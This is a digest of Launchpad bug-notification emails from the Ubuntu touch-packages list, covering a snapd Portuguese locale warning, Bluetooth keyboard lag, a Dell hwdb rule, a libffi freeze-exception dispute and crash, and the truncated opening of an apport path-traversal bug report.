[Touch-packages] [Bug 1932579] Re: snap pt_BR locale shows warning every time

[Maciej Borzecki]

We also have a change in snapd source code that will no longer show
these messages: https://github.com/snapcore/snapd/pull/10756

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to language-pack-pt-base in
Ubuntu.
https://bugs.launchpad.net/bugs/1932579

Title:
  snap pt_BR locale shows warning every time

Status in language-pack-pt-base package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed

Bug description:
  The following warning appears every time I type a snap command, and
  thus breaks auto-completion.

  2021/06/18 13:15:24.372374 main.go:176: description of prepare-image's
  "" is lowercase in locale "pt_BR": "o directório de
  destino"

  The problem seems locale dependent, since "LANG=C snap" doesn't show
  this warning. I'm currently using Ubuntu 21.04, and this bug happens
  since I upgraded from 20.10. (I don't know if this is off-topic or
  where I can help, but "directório" is more pt_PT than pt_BR, which
  could be "pasta/diretório")

  echo $LANG output:
  pt_BR.UTF-8

  lsb_release -rb output:
  Description:  Ubuntu 21.04
  Release:  21.04

  apt-cache policy snapd output:
  snapd:
Instalado: 2.49.2+21.04ubuntu1
Candidato: 2.49.2+21.04ubuntu1
Tabela de versão:
   *** 2.49.2+21.04ubuntu1 500
  500 http://br.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages
  100 /var/lib/dpkg/status

  snap list output:
  ...[other packages]...
  snap-store 3.38.0-64-g23c4c77  547latest/stable
canonical✓   -
  snapd  2.5112159  latest/stable
canonical✓   snapd

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-pack-pt-base/+bug/1932579/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1894046] Re: Bluetooth keyboard has lag

[Launchpad Bug Tracker]

[Expired for bluez (Ubuntu) because there has been no activity for 60
days.]

** Changed in: bluez (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1894046

Title:
  Bluetooth keyboard has lag

Status in bluez package in Ubuntu:
  Expired

Bug description:
  For some days, I observe an annoying lag with my Logitech K380
  keyboard and Ubuntu 20.04.  After a couple of seconds not typing, new
  keystrokes are registered only after 1–2 seconds lag.  From there on,
  I can type without lag, until the next typing pause.

  I seems that the Bluetooth component switches Bluetooth in some sort of 
hibernate after a couple of seconds of not typing, and then it needs 1–2 
seconds to wake up again and process the keystrokes. 
  No keys are missing – they just arrive with a lag.  Probably the keyboard 
buffers them.

  Important: If I listen to music with a Bluetooth headset, I can type
  without *any* problems because the Bluetooth module remains awake due
  to the music transmission.

  The keyboard does not exhibit this issues at my Android tablet.
  Furthermore, I am sometimes lucky can work with the keyboard without
  any lag (and without music).

  In the BIOS settings of the computer, I do not find anything
  Bluetooth-related.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1894046/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1932579] Re: snap pt_BR locale shows warning every time

[Fábio Blanco]

@jrom, the condition didn't changed. This commit you pointed was released in 
snapd version 2.51
You can see it here:
https://github.com/snapcore/snapd/compare/2.50.1...2.51

If you compare the release 2.51 with the latest release 2.52:
https://github.com/snapcore/snapd/compare/2.51...2.52

...you will see that there is no significant change in this
`cmd/snap/main.go` file. They just changed some lines positions but the
content is the same.

The fact that the locale "pt_BR" is not on the code, means nothing since
this is replaced in runtime in the variable "%q".

The bug may be in the translation in the `language-pack-pt-base` package
itself.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to language-pack-pt-base in
Ubuntu.
https://bugs.launchpad.net/bugs/1932579

Title:
  snap pt_BR locale shows warning every time

Status in language-pack-pt-base package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed

Bug description:
  The following warning appears every time I type a snap command, and
  thus breaks auto-completion.

  2021/06/18 13:15:24.372374 main.go:176: description of prepare-image's
  "" is lowercase in locale "pt_BR": "o directório de
  destino"

  The problem seems locale dependent, since "LANG=C snap" doesn't show
  this warning. I'm currently using Ubuntu 21.04, and this bug happens
  since I upgraded from 20.10. (I don't know if this is off-topic or
  where I can help, but "directório" is more pt_PT than pt_BR, which
  could be "pasta/diretório")

  echo $LANG output:
  pt_BR.UTF-8

  lsb_release -rb output:
  Description:  Ubuntu 21.04
  Release:  21.04

  apt-cache policy snapd output:
  snapd:
Instalado: 2.49.2+21.04ubuntu1
Candidato: 2.49.2+21.04ubuntu1
Tabela de versão:
   *** 2.49.2+21.04ubuntu1 500
  500 http://br.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages
  100 /var/lib/dpkg/status

  snap list output:
  ...[other packages]...
  snap-store 3.38.0-64-g23c4c77  547latest/stable
canonical✓   -
  snapd  2.5112159  latest/stable
canonical✓   snapd

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-pack-pt-base/+bug/1932579/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943561] Re: Add ACCEL_LOCATION=base property for 6 Dell clamshell models

[Yao Wei]

** Changed in: oem-priority
   Status: In Progress => New

** Changed in: systemd (Ubuntu)
   Status: In Progress => New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1943561

Title:
  Add ACCEL_LOCATION=base property for 6 Dell clamshell models

Status in OEM Priority Project:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
  This hwdb update is to avoid unwanted screen rotation when tilting the
  laptop.

  This is the update to the previously rolled back SRU LP: #1938259

  [Impact]

   * This fixes unwanted rotations on certain Dell clamshell laptop
  models with accelerometer.

  [Test Plan]

   * On Dell laptops with model SKU 0A36, 0A3E, 0B09, 0B0B, 0B0D, 0B11, install 
this package and ensure the kernel is updated to the latest.
   * Screen should be correct side up in login screen and desktop.
   * Tilt the laptop and the screen should not be rotated.

  [Where problems could occur]

   * This is to add parameters for certain models in hwdb, and does not
  affect any other part of systemd.

   * Only models with the same Dell SKU would be affected.

  [scope]

  this is needed for all releases

  this is being added to upstream by
  https://github.com/systemd/systemd/pull/20314 and
  https://github.com/systemd/systemd/pull/20661

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/1943561/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1932579] Re: snap pt_BR locale shows warning every time

[Fábio Blanco]

@jrom, @kmiksi may be using Ubuntu 20.04 like me because his version of
snapd in apt package is the same as mine:

```
$ apt policy snapd
snapd:
  Instalado: 2.49.2+20.04
  Candidato: 2.49.2+20.04
  Tabela de versão:
 *** 2.49.2+20.04 500
500 http://br.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
100 /var/lib/dpkg/status
 2.48.3+20.04 500
500 http://security.ubuntu.com/ubuntu focal-security/main amd64 Packages
 2.44.3+20.04 500
500 http://br.archive.ubuntu.com/ubuntu focal/main amd64 Packages
```


```
$ snap list | grep snapd
2021/09/16 22:07:53.899186 main.go:176: description of prepare-image's 
"" is lowercase in locale "pt_BR": "o directório de destino"
snapd   2.51.4  12883  latest/stablecanonical*  
  snapd

```

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to language-pack-pt-base in
Ubuntu.
https://bugs.launchpad.net/bugs/1932579

Title:
  snap pt_BR locale shows warning every time

Status in language-pack-pt-base package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed

Bug description:
  The following warning appears every time I type a snap command, and
  thus breaks auto-completion.

  2021/06/18 13:15:24.372374 main.go:176: description of prepare-image's
  "" is lowercase in locale "pt_BR": "o directório de
  destino"

  The problem seems locale dependent, since "LANG=C snap" doesn't show
  this warning. I'm currently using Ubuntu 21.04, and this bug happens
  since I upgraded from 20.10. (I don't know if this is off-topic or
  where I can help, but "directório" is more pt_PT than pt_BR, which
  could be "pasta/diretório")

  echo $LANG output:
  pt_BR.UTF-8

  lsb_release -rb output:
  Description:  Ubuntu 21.04
  Release:  21.04

  apt-cache policy snapd output:
  snapd:
Instalado: 2.49.2+21.04ubuntu1
Candidato: 2.49.2+21.04ubuntu1
Tabela de versão:
   *** 2.49.2+21.04ubuntu1 500
  500 http://br.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages
  100 /var/lib/dpkg/status

  snap list output:
  ...[other packages]...
  snap-store 3.38.0-64-g23c4c77  547latest/stable
canonical✓   -
  snapd  2.5112159  latest/stable
canonical✓   snapd

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-pack-pt-base/+bug/1932579/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1932579] Re: snap pt_BR locale shows warning every time

[Fábio Blanco]

@kmiksi, actually, I think that your proposed workaround enhanced the problem. 
The error messages from my previous post started to show up after I've run the 
sed command you've proposed and I think this happened because the file 
`snappy.mo` is a binary not an ascii text file. I have reverted my changes by 
running:
 
```
sudo apt --reinstall install language-pack-pt-base
```

And now I have only the original error message:


```
$ snap --help
2021/09/16 21:43:52.882927 main.go:176: description of prepare-image's 
"" is lowercase in locale "pt_BR": "o directório de destino"
O comando snap permite instalar, configurar, atualizar e remover snaps.
...

```

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to language-pack-pt-base in
Ubuntu.
https://bugs.launchpad.net/bugs/1932579

Title:
  snap pt_BR locale shows warning every time

Status in language-pack-pt-base package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed

Bug description:
  The following warning appears every time I type a snap command, and
  thus breaks auto-completion.

  2021/06/18 13:15:24.372374 main.go:176: description of prepare-image's
  "" is lowercase in locale "pt_BR": "o directório de
  destino"

  The problem seems locale dependent, since "LANG=C snap" doesn't show
  this warning. I'm currently using Ubuntu 21.04, and this bug happens
  since I upgraded from 20.10. (I don't know if this is off-topic or
  where I can help, but "directório" is more pt_PT than pt_BR, which
  could be "pasta/diretório")

  echo $LANG output:
  pt_BR.UTF-8

  lsb_release -rb output:
  Description:  Ubuntu 21.04
  Release:  21.04

  apt-cache policy snapd output:
  snapd:
Instalado: 2.49.2+21.04ubuntu1
Candidato: 2.49.2+21.04ubuntu1
Tabela de versão:
   *** 2.49.2+21.04ubuntu1 500
  500 http://br.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages
  100 /var/lib/dpkg/status

  snap list output:
  ...[other packages]...
  snap-store 3.38.0-64-g23c4c77  547latest/stable
canonical✓   -
  snapd  2.5112159  latest/stable
canonical✓   snapd

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-pack-pt-base/+bug/1932579/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1932579] Re: snap pt_BR locale shows warning every time

[Junior Martins]

What is your output of "apt-cache policy snapd" and what version of
snapd is shown by "snap list"?

I checked their GitHub page, and at

the description is different from comment #4 since it also includes "in
locale "pt_BR"", which itself was changed fairly recently on May 18,
2021 with the commit


The conditional expression itself didn't change though, so I think the
bug itself should be before that or was created after it in the
translation sources (I don't know how/where to check them though, any
help is greatly appreciated)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to language-pack-pt-base in
Ubuntu.
https://bugs.launchpad.net/bugs/1932579

Title:
  snap pt_BR locale shows warning every time

Status in language-pack-pt-base package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed

Bug description:
  The following warning appears every time I type a snap command, and
  thus breaks auto-completion.

  2021/06/18 13:15:24.372374 main.go:176: description of prepare-image's
  "" is lowercase in locale "pt_BR": "o directório de
  destino"

  The problem seems locale dependent, since "LANG=C snap" doesn't show
  this warning. I'm currently using Ubuntu 21.04, and this bug happens
  since I upgraded from 20.10. (I don't know if this is off-topic or
  where I can help, but "directório" is more pt_PT than pt_BR, which
  could be "pasta/diretório")

  echo $LANG output:
  pt_BR.UTF-8

  lsb_release -rb output:
  Description:  Ubuntu 21.04
  Release:  21.04

  apt-cache policy snapd output:
  snapd:
Instalado: 2.49.2+21.04ubuntu1
Candidato: 2.49.2+21.04ubuntu1
Tabela de versão:
   *** 2.49.2+21.04ubuntu1 500
  500 http://br.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages
  100 /var/lib/dpkg/status

  snap list output:
  ...[other packages]...
  snap-store 3.38.0-64-g23c4c77  547latest/stable
canonical✓   -
  snapd  2.5112159  latest/stable
canonical✓   snapd

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-pack-pt-base/+bug/1932579/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943288] Re: Soname change and transition started without a ffe

[Steve Langasek]

Matthias has communicated out of band that the regressions were not due
to new features in the upstream code, but due to a misconfiguration of
the build.  That has now been addressed, and with my release team hat I
don't see any further cause for concern.

The feature freeze is meant to ensure review of new features, not just
of all new upstream code.  I don't see any evidence that there are new
features here. (exec-static-tramp may be a new feature, but it has now
been - correctly - disabled in the build.)

** Changed in: libffi (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943288

Title:
  Soname change and transition started without a ffe

Status in libffi package in Ubuntu:
  Fix Released

Bug description:
  It seems the recent upload includes a soname change and is starting a
  transition, such changes at the point of the cycle would require a ffe

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943288/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1932579] Re: snap pt_BR locale shows warning every time

[Fábio Blanco]

I've made a fresh install with Ubuntu 20.04.3 and I'm facing this problem too.
But I think the workaround proposed by Carlos would be a little bit harsh to 
put in practice since I don't now how many instances of translation are 
triggering this same error. 
Every time I run a snap command, and not just on auto-completion, I receive 
lots of error messages.
See:

$ snap --help
2021/09/16 19:38:47.210141 main.go:176: description of advise-snap's "format" 
is lowercase in locale "pt_BR": "sar o formato de saída indicado\x00"
2021/09/16 19:38:47.210302 main.go:176: description of create-user's "known" is 
lowercase in locale "pt_BR": "se as asserções conhecidas para a criação de 
utilizador\x00"
2021/09/16 19:38:47.210368 main.go:176: description of download's "channel" is 
lowercase in locale "pt_BR": "sar este canal em vez do 'stable'\x00"
2021/09/16 19:38:47.210381 main.go:176: description of download's "basename" is 
lowercase in locale "pt_BR": "se este nome de base para os ficheiros snap e 
assertion (o padrão é  _ )\x00"
2021/09/16 19:38:47.210419 main.go:176: description of find's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.210430 main.go:176: description of find's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.210499 main.go:176: description of info's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.210511 main.go:176: description of info's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.210573 main.go:176: description of list's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.210584 main.go:176: description of list's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.210630 main.go:176: description of model's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.210641 main.go:176: description of model's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.210666 main.go:176: description of pack's "check-skeleton" 
is lowercase in locale "pt_BR": "alidar metadados snap-dir apenas\x00"
2021/09/16 19:38:47.210751 main.go:176: description of recovery's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.210763 main.go:176: description of recovery's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.210836 main.go:176: description of run's "r" is lowercase 
in locale "pt_BR": "sar uma revisão de snap específica quando executa um 
hook\x00"
2021/09/16 19:38:47.210862 main.go:176: description of logs's "f" is lowercase 
in locale "pt_BR": "spere por novas linhas e imprima-as assim que chegarem.\x00"
2021/09/16 19:38:47.211023 main.go:176: description of install's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.211034 main.go:176: description of install's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.211044 main.go:176: description of install's "channel" is 
lowercase in locale "pt_BR": "sar este canal em vez do 'stable'\x00"
2021/09/16 19:38:47.22 main.go:176: description of refresh's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.211123 main.go:176: description of refresh's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.211137 main.go:176: description of refresh's "channel" is 
lowercase in locale "pt_BR": "sar este canal em vez do 'stable'\x00"
2021/09/16 19:38:47.211229 main.go:176: description of switch's "channel" is 
lowercase in locale "pt_BR": "sar este canal em vez do 'stable'\x00"
2021/09/16 19:38:47.214218 main.go:176: description of validate's "color" is 
lowercase in locale "pt_BR": "se um pouco de cor para destacar algumas 
coisas.\x00"
2021/09/16 19:38:47.214286 main.go:176: description of validate's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.214328 main.go:176: description of validate's "" is lowercase in locale "pt_BR": "alidação definida com um ponto 
sequencial fixo facultativo, isto é, account-id/name[=seq]\x00"
2021/09/16 19:38:47.214414 main.go:176: description of warnings's "unicode" is 
lowercase in locale "pt_BR": "se um pouco de Unicode para melhorar a 
legibilidade.\x00"
2021/09/16 19:38:47.214494 main.go:176: 

[Touch-packages] [Bug 1943288] Re: Soname change and transition started without a ffe

[Sebastien Bacher]

Sorry but no, the reason this bug was opened is that the upload is a
feature freeze break, Steve you wrote yourself in comment #3 that it
needed to be reviewed in that regard. The question on whether this
upload deserves an exception hasn't been answered by the release team.
And if the outcome is 'yes because the uploaders pushed ahead meanwhile
and it's easier to finish than revert now' that would be pretty
disappointing from a project perspective since it just sends the message
that 'if you want to break a freeze, just don't ask for permission but
keep going with uploads', at which point we should probably just remove
the freezes

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943288

Title:
  Soname change and transition started without a ffe

Status in libffi package in Ubuntu:
  New

Bug description:
  It seems the recent upload includes a soname change and is starting a
  transition, such changes at the point of the cycle would require a ffe

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943288/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943288] Re: Soname change and transition started without a ffe

[Sebastien Bacher]

** Changed in: libffi (Ubuntu)
   Status: Fix Released => New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943288

Title:
  Soname change and transition started without a ffe

Status in libffi package in Ubuntu:
  New

Bug description:
  It seems the recent upload includes a soname change and is starting a
  transition, such changes at the point of the cycle would require a ffe

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943288/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943288] Re: Soname change and transition started without a ffe

[Steve Langasek]

The glib-related regressions have been fixed in a subsequent upload and
autopkgtests are now green. Closing this bug to unblock migration.

** Changed in: libffi (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943288

Title:
  Soname change and transition started without a ffe

Status in libffi package in Ubuntu:
  Fix Released

Bug description:
  It seems the recent upload includes a soname change and is starting a
  transition, such changes at the point of the cycle would require a ffe

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943288/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943362] Re: update to this pkg crashes fresh install of ubuntu preventing long-in screen from appearing or anything else

[Steve Langasek]

Thanks for confirming. Marking this bug as resolved, and unblocking
libffi for the release pocket.

** Changed in: libffi (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943362

Title:
  update to this pkg crashes fresh install of ubuntu preventing long-in
  screen from appearing or anything else

Status in libffi package in Ubuntu:
  Fix Released

Bug description:
  update to this pkg crashed my system.
  I ended up reinstalling ubuntu 21.10 from USB stick, which fixed it.
  I immediately ran "sudo apt -y upgrade" and it updated all packages.
  While updating "libffi8" i received a dpkg error message.
  on reboot, it loads to a screen that "something went wrong, log out and try 
again" and it freezes at that screen.
  i did not install anything beyond whatever the install medium puts on for a 
standard install.
  I am using the laptop now.  after a second reinstall I deselected the libffi8 
package from the upgrade list, and its working just fine, leading me to the 
conclusion that it is the offending package.
  because I can not get to a terminal window or gnome desktop, I cannot run 
apport on the system while crashed and frozen.  sorry.  but if there's anything 
i can provide to help with a fix, let me know, and I will gladly do so.
  please note, the bug report was generated on a working system, not the 
crashed system.  I still have access to the crashed system if you have a 
suggestion how to get any information out of it.  recovery mode does not load 
to gnome either.

  ProblemType: Bug
  DistroRelease: Ubuntu 21.10
  Package: libffi8ubuntu1:amd64 3.4~20200819gead65ca871-0ubuntu5
  ProcVersionSignature: Ubuntu 5.13.0-14.14-generic 5.13.1
  Uname: Linux 5.13.0-14-generic x86_64
  ApportVersion: 2.20.11-0ubuntu68
  Architecture: amd64
  CasperMD5CheckResult: pass
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Sep 12 06:00:36 2021
  InstallationDate: Installed on 2021-07-23 (50 days ago)
  InstallationMedia: Ubuntu 21.10 "Impish Indri" - Alpha amd64 (20210501)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: libffi
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943362/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

Re: [Touch-packages] [Bug 1943362] Re: update to this pkg crashes fresh install of ubuntu preventing long-in screen from appearing or anything else

[Nadya Sarankhova]

Yes, that appears to have fixed it.  I have been able to reboot the system 2x 
without it hanging now.
thanks, steve.


On Thu, Sep 16, 2021, at 10:40, Steve Langasek wrote:
> libffi8 3.4.2-1ubuntu5 in impish-proposed is believed to fix the glib-
> related regressions in libffi.  Can you please retest to confirm that it
> addresses your issue?
> 
> -- 
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/1943362
> 
> Title:
>   update to this pkg crashes fresh install of ubuntu preventing long-in
>   screen from appearing or anything else
> 
> Status in libffi package in Ubuntu:
>   Confirmed
> 
> Bug description:
>   update to this pkg crashed my system.
>   I ended up reinstalling ubuntu 21.10 from USB stick, which fixed it.
>   I immediately ran "sudo apt -y upgrade" and it updated all packages.
>   While updating "libffi8" i received a dpkg error message.
>   on reboot, it loads to a screen that "something went wrong, log out and try 
> again" and it freezes at that screen.
>   i did not install anything beyond whatever the install medium puts on for a 
> standard install.
>   I am using the laptop now.  after a second reinstall I deselected the 
> libffi8 package from the upgrade list, and its working just fine, leading me 
> to the conclusion that it is the offending package.
>   because I can not get to a terminal window or gnome desktop, I cannot run 
> apport on the system while crashed and frozen.  sorry.  but if there's 
> anything i can provide to help with a fix, let me know, and I will gladly do 
> so.
>   please note, the bug report was generated on a working system, not the 
> crashed system.  I still have access to the crashed system if you have a 
> suggestion how to get any information out of it.  recovery mode does not load 
> to gnome either.
> 
>   ProblemType: Bug
>   DistroRelease: Ubuntu 21.10
>   Package: libffi8ubuntu1:amd64 3.4~20200819gead65ca871-0ubuntu5
>   ProcVersionSignature: Ubuntu 5.13.0-14.14-generic 5.13.1
>   Uname: Linux 5.13.0-14-generic x86_64
>   ApportVersion: 2.20.11-0ubuntu68
>   Architecture: amd64
>   CasperMD5CheckResult: pass
>   CurrentDesktop: ubuntu:GNOME
>   Date: Sun Sep 12 06:00:36 2021
>   InstallationDate: Installed on 2021-07-23 (50 days ago)
>   InstallationMedia: Ubuntu 21.10 "Impish Indri" - Alpha amd64 (20210501)
>   ProcEnviron:
>TERM=xterm-256color
>PATH=(custom, no user)
>XDG_RUNTIME_DIR=
>LANG=en_US.UTF-8
>SHELL=/bin/bash
>   SourcePackage: libffi
>   UpgradeStatus: No upgrade log present (probably fresh install)
> 
> To manage notifications about this bug go to:
> https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943362/+subscriptions
> 
>

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943362

Title:
  update to this pkg crashes fresh install of ubuntu preventing long-in
  screen from appearing or anything else

Status in libffi package in Ubuntu:
  Confirmed

Bug description:
  update to this pkg crashed my system.
  I ended up reinstalling ubuntu 21.10 from USB stick, which fixed it.
  I immediately ran "sudo apt -y upgrade" and it updated all packages.
  While updating "libffi8" i received a dpkg error message.
  on reboot, it loads to a screen that "something went wrong, log out and try 
again" and it freezes at that screen.
  i did not install anything beyond whatever the install medium puts on for a 
standard install.
  I am using the laptop now.  after a second reinstall I deselected the libffi8 
package from the upgrade list, and its working just fine, leading me to the 
conclusion that it is the offending package.
  because I can not get to a terminal window or gnome desktop, I cannot run 
apport on the system while crashed and frozen.  sorry.  but if there's anything 
i can provide to help with a fix, let me know, and I will gladly do so.
  please note, the bug report was generated on a working system, not the 
crashed system.  I still have access to the crashed system if you have a 
suggestion how to get any information out of it.  recovery mode does not load 
to gnome either.

  ProblemType: Bug
  DistroRelease: Ubuntu 21.10
  Package: libffi8ubuntu1:amd64 3.4~20200819gead65ca871-0ubuntu5
  ProcVersionSignature: Ubuntu 5.13.0-14.14-generic 5.13.1
  Uname: Linux 5.13.0-14-generic x86_64
  ApportVersion: 2.20.11-0ubuntu68
  Architecture: amd64
  CasperMD5CheckResult: pass
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Sep 12 06:00:36 2021
  InstallationDate: Installed on 2021-07-23 (50 days ago)
  InstallationMedia: Ubuntu 21.10 "Impish Indri" - Alpha amd64 (20210501)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: libffi
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go 

[Touch-packages] [Bug 1933832] Re: Path traversal leads to arbitrary file read

[Launchpad Bug Tracker]

** Branch linked: lp:~ubuntu-core-dev/ubuntu/impish/apport/ubuntu

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1933832

Title:
  Path traversal leads to arbitrary file read

Status in apport package in Ubuntu:
  Fix Released
Status in openjdk-13 package in Ubuntu:
  New
Status in openjdk-14 package in Ubuntu:
  New
Status in openjdk-15 package in Ubuntu:
  New
Status in openjdk-16 package in Ubuntu:
  New
Status in openjdk-17 package in Ubuntu:
  New
Status in openjdk-18 package in Ubuntu:
  New
Status in openjdk-8 package in Ubuntu:
  New
Status in xorg package in Ubuntu:
  New

Bug description:
  While reiterating the issues reported in
  https://bugs.launchpad.net/bugs/1917904, Stephen Röttger (@_tsuro)
  mentioned, that the second issue "Arbitrary file read in package-
